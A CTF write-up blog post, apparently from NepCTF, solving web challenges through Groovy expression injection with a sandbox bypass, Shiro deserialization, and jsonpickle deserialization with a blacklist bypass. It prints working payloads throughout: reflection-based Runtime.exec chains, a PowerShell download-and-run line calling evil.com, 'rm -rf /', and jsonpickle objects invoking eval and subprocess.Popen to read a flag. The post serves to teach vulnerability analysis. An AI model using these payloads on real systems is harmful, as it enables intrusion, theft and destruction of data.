nepctf


easyGooGooVVVY

从Jenkins RCE看Groovy代码注入-先知社区

def process = "".class.forName('java.lang.Runtime')
     .getMethod('getRuntime')
     .invoke(null)
     .exec('env')

//process.waitFor()
process.getInputStream().text

好的,我们来深入探讨一下 Groovy 表达式注入(Groovy Expression Injection) 这个安全漏洞。这是一种相当危险的漏洞,因为它通常会导致远程代码执行(Remote Code Execution, RCE)

1. 什么是 Groovy?为什么会有注入问题?

首先,要理解这个漏洞,我们需要知道 Groovy 是什么。

  • Groovy 是一种运行在 Java 虚拟机 (JVM) 上的动态语言。 它的语法与 Java 非常相似,但更简洁、更灵活。
  • 核心特性:动态执行代码。 Groovy 强大的地方在于它能把字符串当作代码来执行。比如,GroovyShellEvalScriptEngine 这些类可以接收一个字符串,然后像执行真正的代码一样去运行它。

注入问题的根源就在于这个“动态执行”的特性。如果一个应用程序接收了用户的输入,并且不加过滤地将这个输入拼接到了一个将要被 Groovy 引擎执行的字符串中,攻击者就可以构造恶意的输入,让服务器执行任意代码。

这和 SQL 注入的原理非常相似:

  • SQL 注入:将恶意的 SQL 命令注入到数据库查询中。
  • Groovy 注入:将恶意的 Groovy 代码注入到要执行的脚本中。

2. Groovy 注入是如何发生的?(一个简单的例子)

想象一个 Web 应用,它有一个“计算器”功能,允许用户输入一个数学表达式,然后服务器返回计算结果。

后台的 Java/Groovy 代码可能看起来是这样的:

Java

import groovy.lang.GroovyShell;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class CalculatorController {

    @GetMapping("/calculate")
    public String calculate(@RequestParam String expression) {
        // 创建一个 Groovy 执行环境
        GroovyShell shell = new GroovyShell();

        // 【漏洞点】直接将用户输入拼接到要执行的脚本中
        String script = "result = " + expression;

        // 执行脚本
        shell.evaluate(script);

        // 获取结果并返回
        Object result = shell.getVariable("result");
        return "计算结果是: " + result;
    }
}

正常使用:

用户访问 URL: /calculate?expression=3*5

  1. expression 变量的值是 "3*5"
  2. 后台拼接的脚本变成 String script = "result = 3*5";
  3. Groovy 引擎执行后,result 的值是 15
  4. 返回 “计算结果是: 15”。一切正常。

恶意攻击:

现在,一个攻击者构造了如下的输入,并对其进行 URL 编码后访问:

原始恶意输入:

1.with{new ProcessBuilder(“calc”).start()} (在 Windows 上)

或者

1.with{new ProcessBuilder(“gnome-calculator”).start()} (在 Linux 上)

URL 编码后的请求:

/calculate?expression=1.with%7Bnew%20ProcessBuilder(%22calc%22).start()%7D

  1. expression 变量的值是 "1.with{new ProcessBuilder(\"calc\").start()}"

  2. 后台拼接的脚本变成:

    String script = “result = 1.with{new ProcessBuilder("calc").start()}”;

  3. 灾难发生! Groovy 引擎开始执行这段代码:

    • new ProcessBuilder("calc").start() 是标准的 Java/Groovy 代码,它的作用是创建一个新的操作系统进程
    • 在这里,它会启动 Windows 的计算器程序 (calc.exe)。
    • .with{} 是 Groovy 的一种语法糖,这里只是为了让代码能被执行。

结果:在运行这个 Web 应用的服务器上,会突然弹出一个计算器程序。

这只是一个无害的演示。攻击者完全可以把 "calc" 换成更危险的命令,例如:

  • "powershell -c 'iex(new-object net.webclient).downloadstring(\'http://evil.com/payload.ps1\')'": 下载并执行一个恶意的 PowerShell 脚本。
  • "cat /etc/passwd": 读取服务器上的敏感文件。
  • "rm -rf /": 删除服务器上所有文件(毁灭性打击)。

这就是远程代码执行 (RCE)。攻击者可以在你的服务器上为所欲为。


3. 常见的注入点

Groovy 表达式注入不仅仅发生在 GroovyShell.evaluate()。任何能够动态执行代码的地方都可能成为注入点,例如:

  • groovy.lang.GroovyShell.evaluate(String script)
  • groovy.lang.GroovyShell.parse(String script)
  • groovy.util.Eval.me(String expression)
  • javax.script.ScriptEngine.eval(String script) (当 ScriptEngine 被配置为 Groovy 时)
  • 在一些模板引擎中,如果允许执行任意 Groovy 代码。

4. 如何防御 Groovy 表达式注入?

防御的核心思想是:永远不要相信用户的输入,绝对不要将未经处理的用户输入直接拼接到代码中执行。

以下是几种主要的防御策略,按推荐程度排序:

1. 避免动态执行代码(最佳策略)

如果业务逻辑允许,从根本上就不要使用 GroovyShell.evaluate 或类似的功能。寻找替代方案。例如,如果只是做数学计算,可以使用专门为解析数学公式而设计的库(如 mxparser),而不是一个完整的代码执行引擎。

2. 使用沙箱 (Sandbox)

如果必须动态执行 Groovy 代码,一定要把它限制在一个严格的“沙箱”里,控制它能做什么,不能做什么。

Groovy 提供了 SecureASTCustomizerCompilerConfiguration 来实现沙箱。你可以:

  • 禁用关键字:禁止使用 newwhile 等关键字。
  • 白名单导入:只允许导入安全的类(比如数学计算相关的类)。
  • 禁用方法调用:禁止调用危险的方法,如 System.exit()ProcessBuilder.start()
  • 限制元编程:禁止修改类的元数据,防止绕过。

示例代码 (使用 SecureASTCustomizer)

Java

import org.codehaus.groovy.control.CompilerConfiguration;
import org.codehaus.groovy.control.customizers.SecureASTCustomizer;
import groovy.lang.GroovyShell;

// 1. 创建一个编译器配置
CompilerConfiguration config = new CompilerConfiguration();
SecureASTCustomizer customizer = new SecureASTCustomizer();

// 2. 配置沙箱规则
// 只允许常量和基本的数学运算符
customizer.setAllowedTokens(
    // ... 添加允许的 Token ...
);

// 只允许调用 java.lang.Math 类里的方法
customizer.setAllowedImports(
    "java.lang.Math"
);

// 禁止所有接收者(即禁止 a.b() 这种形式的调用)
// 这是一个非常严格的设置,需要根据业务放宽
customizer.setReceiversClasses(
    // ... 添加允许的类 ...
);

config.addCompilationCustomizers(customizer);

// 3. 使用带沙箱配置的 GroovyShell
GroovyShell shell = new GroovyShell(config);

// 此时,如果再执行恶意代码,会直接抛出安全异常
try {
    shell.evaluate("new ProcessBuilder('calc').start()");
} catch (Exception e) {
    // 会在这里捕获到一个 SecurityException
    e.printStackTrace();
}

配置沙箱非常复杂且容易出错,需要仔细设计你的白名单和黑名单规则。

3. 输入验证和净化 (作为辅助手段)

在将输入传递给 Groovy 引擎之前,对其进行严格的验证。但这非常困难,因为攻击者有无数种方法来混淆和绕过简单的黑名单。

  • 黑名单(不推荐): 过滤 ProcessBuilder, Runtime, exec, invokeMethod 等关键字。很容易被绕过(例如 ['Proce','ssBuilder'].join())。
  • 白名单(更好): 只允许输入包含预期的、安全的字符和模式。例如,如果只做数学计算,可以只允许数字、+, -, *, /, (, )

输入验证只能作为深度防御的一环,绝不能作为唯一的防护措施。

总结

方面 描述
是什么 一种服务器端漏洞,攻击者通过构造恶意输入,让后台的 Groovy 引擎执行任意代码。
为什么会发生 因为应用程序将未经信任的用户输入直接拼接到了一个要动态执行的 Groovy 脚本字符串中。
风险 极高。通常直接导致远程代码执行 (RCE),攻击者可以完全控制服务器。
如何防御 首选:避免动态执行代码。 次选:使用配置严格的沙箱辅助:对用户输入进行白名单验证
核心教训 代码和数据必须严格分离。 永远不要把用户输入当作代码来执行。

1. 获取 Runtime 类对象

"".class.forName('java.lang.Runtime')
  • "" 是字符串实例,"".class 获取 String 类的 Class 对象(仅作为调用 forName 方法的 “跳板”)。
  • Class.forName('java.lang.Runtime'):通过类的全限定名加载 Runtime 类,返回其 Class 对象(代表 java.lang.Runtime 类)。

2. 获取 getRuntime() 方法对象

.getMethod('getRuntime')
  • 调用 Class 类的 getMethod 方法,获取 Runtime 类中名为 getRuntime 的无参方法。
  • 等价于获取 Runtime.getRuntime() 这个静态方法的反射对象(Method 实例)。

3. 执行 getRuntime() 方法,获取 Runtime 实例

.invoke(null)
  • 调用 Method 类的 invoke 方法执行 getRuntime()
  • getRuntime() 是静态方法(无需实例即可调用),参数传入 null,返回 Runtime 类的单例实例(Runtime 是单例模式,全局唯一)。

4. 执行 env 命令,获取进程对象

.exec('env')
  • 调用 Runtime 实例的 exec 方法,执行系统命令 env(用于查看当前环境变量)。
  • 返回 Process 对象(代表正在执行的 env 进程),后续通过该对象获取命令输出。

5. 读取命令输出结果

process.getInputStream().text
  • process.getInputStream():获取进程的标准输出流InputStream),命令的执行结果会通过这个流返回(如 env 命令的环境变量列表)。
  • .text:Groovy 对输入流的扩展方法,自动读取流中所有内容并转换为字符串(底层会处理流的缓冲和关闭,简化了 Java 中手动用 BufferedReader 读取的步骤)。

RevengeGooGooVVVY

package org.example.expressinject.Test.Groovy;

import org.codehaus.groovy.ast.ClassNode;
import org.codehaus.groovy.ast.expr.Expression;
import org.codehaus.groovy.ast.expr.MethodCallExpression;
import org.codehaus.groovy.control.customizers.SecureASTCustomizer;

import java.lang.reflect.Method;
import java.util.*;

public class CustomGroovyPurifier extends SecureASTCustomizer {
    private static final Set<String> STRING_METHODS = new HashSet<>();
    private SecureASTCustomizer secureASTCustomizer = new SecureASTCustomizer();

    public SecureASTCustomizer CreateASTCustomizer() {

        secureASTCustomizer.addExpressionCheckers(expr -> {
            if (expr instanceof MethodCallExpression) {
                MethodCallExpression methodCall = (MethodCallExpression) expr;
                Expression objectExpr = methodCall.getObjectExpression();
                ClassNode type = objectExpr.getType();
                type.getClass();
                String typeName = type.getName();
                String methodName = methodCall.getMethodAsString();
                if (typeName.equals("java.lang.String")) {
                    if (STRING_METHODS.contains(methodName)) {
                        return true;
                    } else {
                        throw new SecurityException("Calling "+methodName+"  on "+ "String is not allowed");
                    }
                }

                if (methodName.equals("execute")) {
                        throw new SecurityException("Calling "+methodName+" on "+ "is not allowed");
                }
            }
            return true;
        });
        secureASTCustomizer.setClosuresAllowed(false);
        return secureASTCustomizer;
    }
    static {
        for (Method method : String.class.getDeclaredMethods()) {
            STRING_METHODS.add(method.getName());
        }
    }

}
package org.example.expressinject.Test.Groovy;

import groovy.lang.Grab;
import groovy.transform.ASTTest;
import org.codehaus.groovy.ast.*;
import org.codehaus.groovy.classgen.GeneratorContext;
import org.codehaus.groovy.control.CompilationFailedException;
import org.codehaus.groovy.control.CompilationUnit;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.control.customizers.CompilationCustomizer;

import java.lang.annotation.Annotation;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;

public class Phase3Purifiler extends CompilationCustomizer {
    private static final List<String> BLOCKED_TRANSFORMS = Collections.unmodifiableList(Arrays.asList(
            "ASTTest",
            "Grab",
            "GrabConfig",
            "GrabExclude",
            "GrabResolver",
            "Grapes",
            "AnnotationCollector"
    ));

    public Phase3Purifiler() {
        super(CompilePhase.CONVERSION);
    }

    @Override
    public void call(SourceUnit source, GeneratorContext context, ClassNode classNode) throws CompilationFailedException {
        new RejectASTTransformsVisitor(source).visitClass(classNode);
    }

    @Override
    public void doPhaseOperation(CompilationUnit unit) throws CompilationFailedException {
        super.doPhaseOperation(unit);
    }

    @Override
    public boolean needSortedInput() {
        return super.needSortedInput();
    }


    private static class RejectASTTransformsVisitor extends ClassCodeVisitorSupport {
        private SourceUnit source;

        public RejectASTTransformsVisitor(SourceUnit source) {
            this.source = source;
        }

        @Override
        protected SourceUnit getSourceUnit() {
            return source;
        }

        @Override
        public void visitAnnotations(AnnotatedNode node) {
            for (AnnotationNode an : node.getAnnotations()) {
                for (String blockedAnnotation : BLOCKED_TRANSFORMS) {
                    if (an.getClassNode().getName().contains(blockedAnnotation)) {
                        throw new SecurityException("Annotation " + blockedAnnotation + " cannot be used in the sandbox.");
                    }
                }
            }
        }

        @Override
        public void visitImports(ModuleNode node) {
            if (node != null) {
                for (ImportNode importNode : node.getImports()) {
                    checkImportForBlockedAnnotation(importNode);
                }
                for (ImportNode importStaticNode : node.getStaticImports().values()) {
                    checkImportForBlockedAnnotation(importStaticNode);
                }
            }
        }

    }

    private static void checkImportForBlockedAnnotation(ImportNode node) {
        if (node != null && node.getType() != null) {
            for (String blockedAnnotation : BLOCKED_TRANSFORMS) {
                if (node.getType().getName().contains(blockedAnnotation)) {
                    throw new SecurityException("Annotation " + node.getType().getName() + " cannot be used in the sandbox.");
                }
            }
        }
    }
}

def process = "".class.forName('java.lang.Runtime')
     .getMethod('getRuntime')
     .invoke(null)
     .exec('env')

//process.waitFor()
process.getInputStream().text

啊,用第一题的payload直接出来了,这复仇了个寂寞。。。。

  1. 安全规则 只检查方法名是否在字符串方法白名单里
  2. getClass() 不是字符串特有的方法(是所有对象共有的)
  3. 所以它 不在白名单检查范围
  1. 检查器设计局限

    // 在您的检查器中,只针对特定类型的方法调用进行检查
    if (typeName.equals("java.lang.String")) {
        // 检查字符串方法
    }
    • 当调用 "".class 时:
      • "".String 类型
      • .class 实际上是 Object.getClass() 方法
      • 但您的检查器只检查 直接在 String 类上声明的方法,不检查继承自 Object 的方法
  2. 方法来源判断

    // 您的白名单只包含 String 类直接声明的方法
    for (Method method : String.class.getDeclaredMethods()) {
        STRING_METHODS.add(method.getName());
    }
    • getClass()Object 类的方法,不是 String 直接声明的方法
    • 因此它不在白名单检查范围
  3. 类型系统盲点

    • 当执行 "".class 时:
      • getClass() 方法调用发生在 String 实例上
      • 但方法本身属于 Object
      • 您的检查器没有考虑继承方法的处理
String.class.getDeclaredMethods() 
// 返回: [equals, toString, hashCode, compareTo, ...] (不包括 getClass)

Object.class.getDeclaredMethods() 
// 返回: [getClass, wait, notify, ...]

JavaSeri

shiro_attack工具-shiro反序列化漏洞的快速检测和利用_shiro attack-CSDN博客

报错:找不到或无法加载主类 com.summersec.attack.UI.Main · Issue #41 · SummerSec/ShiroAttack2

利用shiro_attacker即可。


safe_bank

ncat --ssl nepctf32-bwvp-6lno-xsqe-fdssm7sec647.nepctf.com 443

GET / HTTP/1.1
Host: nepctf32-bwvp-6lno-xsqe-fdssm7sec647.nepctf.com
Connection: close

<body>    <div class="container">        <h1>安全银行门户</h1>

        <form method="POST" action="/auth">
            <div class="form-group">
                <label for="username">用户名:</label>
                <input type="text" id="username" name="u" required>
            </div>
            <div class="form-group">
                <label for="password">密码:</label>
                <input type="password" id="password" name="p" required>
            </div>
            <button type="submit">登录</button>
        </form>
        <div class="nav">
            <a href="/register">注册账户</a> |
            <a href="/about">关于我们</a>
        </div>
    </div>
</body>





GET /about HTTP/1.1
Host: nepctf32-bwvp-6lno-xsqe-fdssm7sec647.nepctf.com
Connection: close

<body>    <div class="container">
        <h1>关于安全银行</h1>

        <div class="section">
            <h2>概述</h2>
            <p>安全银行是一个现代化的银行系统,提供对银行服务的安全访问。
            我们的系统使用最先进的安全措施,包括安全cookies和
            用户会话管理,确保您的数据保持安全。</p>
        </div>
          <div class="section">
            <h2>技术细节</h2>
            <p>我们的平台使用Python Flask构建,并利用安全的会话管理系统。</p>
            <p>我们使用以下技术:</p>
            <ul>
                <li>Python Flask作为Web框架</li>
                <li>JSON用于数据交换</li>
                <li>使用jsonpickle的高级会话管理</li>
                <li>Base64编码用于Token传输</li>
            </ul>
            <p>我们的会话令牌结构如下:</p>
            <div class="code">Session {
    meta: {
        user: "用户名",
        ts: 时间戳
    }
}</div>
        </div>

        <div class="back-link">
            <a href="/">返回登录页面</a>
        </div>
    </div>
</body>


GET /register HTTP/1.1
Host: nepctf32-bwvp-6lno-xsqe-fdssm7sec647.nepctf.com
Connection: close

<body>
    <div class="container">
        <h1>注册新账户</h1>

        <form method="POST" action="/register">
            <div class="form-group">
                <label for="username">用户名:</label>
                <input type="text" id="username" name="username" required>
            </div>
            <div class="form-group">
                <label for="password">密码:</label>
                <input type="password" id="password" name="password" required>
            </div>
            <div class="form-group">
                <label for="confirm_password">确认密码:</label>
                <input type="password" id="confirm_password" name="confirm_password" required>
            </div>
            <button type="submit">注册</button>
        </form>
        <div class="nav">
            <a href="/">返回登录</a>
        </div>
    </div>
</body>





POST /register HTTP/1.1
Host: nepctf32-bwvp-6lno-xsqe-fdssm7sec647.nepctf.com
Connection: close
Content-Type: application/x-www-form-urlencoded  
Content-Length: 38  

username=admin&password=123&confirm_password=123

从源码看JsonPickle反序列化利用与绕WAF-先知社区

S8强网杯 ez_login详解-先知社区

关于 JSON 引号问题 - 筱团 - 博客园

{"py/object": "__main__.Session", "meta": {"user": "admin", "ts": 1753690230}}


eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogImFkbWluIiwgInRzIjogMTc1MzY5MDIzMH19
    """Returns an instance of the object from the object's repr() string.
    It involves the dynamic specification of code.

    .. warning::

        This function is unsafe and uses `eval()`.

    >>> obj = loadrepr('datetime/datetime.datetime.now()')
    >>> obj.__class__.__name__
    'datetime'

    """
    module, evalstr = reprstr.split('/')
    mylocals = locals()
    localname = module
    if '.' in localname:
        localname = module.split('.', 1)[0]
    mylocals[localname] = __import__(module)
    return eval(evalstr, mylocals)
#eval(evalstr, mylocals):在mylocals指定的局部命名空间中,执行evalstr字符串中的表达式。
def _restore_reduce(self, obj):
        """
        Supports restoring with all elements of __reduce__ as per pep 307.
        Assumes that iterator items (the last two) are represented as lists
        as per pickler implementation.
        """
        reduce_val = list(map(self._restore, obj[tags.REDUCE]))
        if len(reduce_val) < 5:
            reduce_val.extend([None] * (5 - len(reduce_val)))
        f, args, state, listitems, dictitems = reduce_val

        if f == tags.NEWOBJ or getattr(f, '__name__', '') == '__newobj__':
            cls = args[0]
            if not isinstance(cls, type):
                cls = self._restore(cls)
            stage1 = cls.__new__(cls, *args[1:])
        else:
            stage1 = f(*args)

        if state: pass
        if listitems: pass
        if dictitems: pass

        return stage1
可以构造如下payload

{'py/reduce': [{'py/function': 'builtins.eval'}, {'py/tuple': ["__import__('os').system('calc')"]}]}



#代码逻辑分析:
#该方法处理__reduce__返回的值,用于重建对象
#reduce_val通过self._restore处理后得到一个包含 5 个元素的列表
#其中第一个元素f被当作函数,第二个元素args被当作参数
#关键执行点:stage1 = f(*args),这会调用函数f并传入参数args
#payload 工作原理:
#你的 payload{'py/reduce': [{'py/function': 'builtins.eval'}, {'py/tuple': #["__import__('os').system('calc')"]}]}正好提供了f和args
#当这段代码处理该 payload 时,f会被解析为builtins.eval函数
#args会被解析为包含字符串"__import__('os').system('calc')"的元组
#最终执行eval("__import__('os').system('calc')"),这会导入 os 模块并执行系统命令打开计算器

py/repr的tag可以直接进exec来RCE,但这必须要decoder的safe模式是关闭的才行,这个模式v3是默认关的,v4就默认开了。不信可以去看开发文档。

- `py/newargs`只包含位置参数(一个列表或元组)
- `py/newargsex`包含位置参数和关键字参数(一个元组,第一个元素是位置参数列表,第二个元素是关键字参数字典)


于是可以直接改:

{"py/object": "__main__.Session", "meta": {"user":{"py/object": "glob.glob", "py/newargs": {"/*"}},"ts":1753446254}}

{"py/object": "__main__.Session", "meta": {"user":{"py/object": "glob.glob","py/newargsex":[["/*"],{}]},"ts":1753446254}}
['/run', '/bin', '/usr', '/etc', '/mnt', '/home', '/var', '/srv', '/sys', '/proc', '/sbin', '/lib64', '/media', '/opt', '/lib', '/dev', '/tmp', '/boot', '/root', '/flag', '/entrypoint.sh', '/readflag', '/app']
{"py/object": "__main__.Session", "meta": {"user":{"py/object": "linecache.getlines","py/newargsex":[["/app/app.py"],{}]},"ts":1753446254}}


from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle, base64, json, os, time

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Account:
    def __init__(self, uid, pwd):
        self.uid, self.pwd = uid, pwd

class Session:
    def __init__(self, meta):
        self.meta = meta

users_db = [Account("admin", os.urandom(16).hex()), Account("guest", "guest")]

def register_user(username, password):
    if any(acc.uid == username for acc in users_db):
        return False
    users_db.append(Account(username, password))
    return True

FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized):
    try:
        payload = json.dumps(json.loads(serialized), ensure_ascii=False)
        return next((bad for bad in FORBIDDEN if bad in payload), None)
    except:
        return "error"

@app.route('/')
def root():
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        u, p, cp = [request.form.get(k) for k in ['username', 'password', 'confirm_password']]
        if not all([u, p, cp]):
            return render_template('register.html', error="所有字段都是必填的。")
        if p != cp:
            return render_template('register.html', error="密码不匹配。")
        if len(u) < 4 or len(p) < 6:
            return render_template('register.html', error="用户名至少4字符,密码至少6字符。")
        if register_user(u, p):
            return render_template('index.html', message="注册成功!请登录。")
        return render_template('register.html', error="用户名已存在。")
    return render_template('register.html')

@app.post('/auth')
def auth():
    u, p = request.form.get("u"), request.form.get("p")
    for acc in users_db:
        if acc.uid == u and acc.pwd == p:
            sess = Session({'user': u, 'ts': int(time.time())})
            token = base64.b64encode(jsonpickle.encode(sess).encode()).decode()
            resp = make_response("登录成功。")
            resp.set_cookie("authz", token)
            resp.headers.update({'Location': '/panel', 'Status': '302'})
            return resp
    return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root', error="缺少Token。"))
    try:
        decoded = base64.b64decode(token.encode()).decode()
    except:
        return render_template('error.html', error="Token格式错误。")
    if (ban := waf(decoded)):
        return render_template('error.html', error=f"请不要黑客攻击!{ban}")
    try:
        sess = jsonpickle.decode(decoded, safe=True)
        return render_template('admin_panel.html' if sess.meta.get("user") == "admin" else 'user_panel.html', username=sess.meta.get('user'))
    except:
        return render_template('error.html', error="数据解码失败。")

@app.route('/vault')
def vault():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root'))
    try:
        decoded = base64.b64decode(token.encode()).decode()
        if waf(decoded):
            return render_template('error.html', error="请不要尝试黑客攻击!")
        sess = jsonpickle.decode(decoded, safe=True)
        if sess.meta.get("user") != "admin":
            return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")
        return render_template('vault.html', flag="NepCTF{fake_flag_this_is_not_the_real_one}")
    except:
        return redirect(url_for('root'))

@app.route('/about')
def about():
    return render_template('about.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

python 清空list的几种方法 - BackingStar - 博客园

import jsonpickle, json, os


class Session:
    def __init__(self, meta):
        self.meta = meta


# 黑名单列表
FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]


def waf(serialized):
    try:
        payload = json.dumps(json.loads(serialized), ensure_ascii=False)
        return next((bad for bad in FORBIDDEN if bad in payload), None)
    except:
        return "error"


# 修正后的 payload(关键:指定 __main__ 模块路径)
payload = """{
    "py/object": "__main__.Session", 
    "meta": {
        "user": {
            "py/object": "__main__.FORBIDDEN.clear",
            "py/newargsex":[[],{}]
        },
        "ts": 1753446254
    }
}"""

try:
    # 检查 WAF 是否拦截
    if waf(payload):
        print("WAF 拦截 payload")
    else:
        # 反序列化
        sess_obj = jsonpickle.decode(payload)
        print("反序列化后的 meta.user 类型:", type(sess_obj.meta["user"]))  # 应显示为 <class 'builtin_function_or_method'>

        # 调用 clear 方法
        print("调用前 FORBIDDEN 长度:", len(FORBIDDEN))
        sess_obj.meta["user"]()  # 现在可以正常调用了
        print("调用后 FORBIDDEN 长度:", len(FORBIDDEN))  # 输出 0,说明已清空
except Exception as e:
    print("错误:", e)
{"py/object": "__main__.Session", "meta": {"user":{"py/object": "subprocess.Popen", "py/newargsex":[[["/bin/sh","-c","mkdir static;/readflag > static/1.txt"]],[]]},"ts":1753446254}}



文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录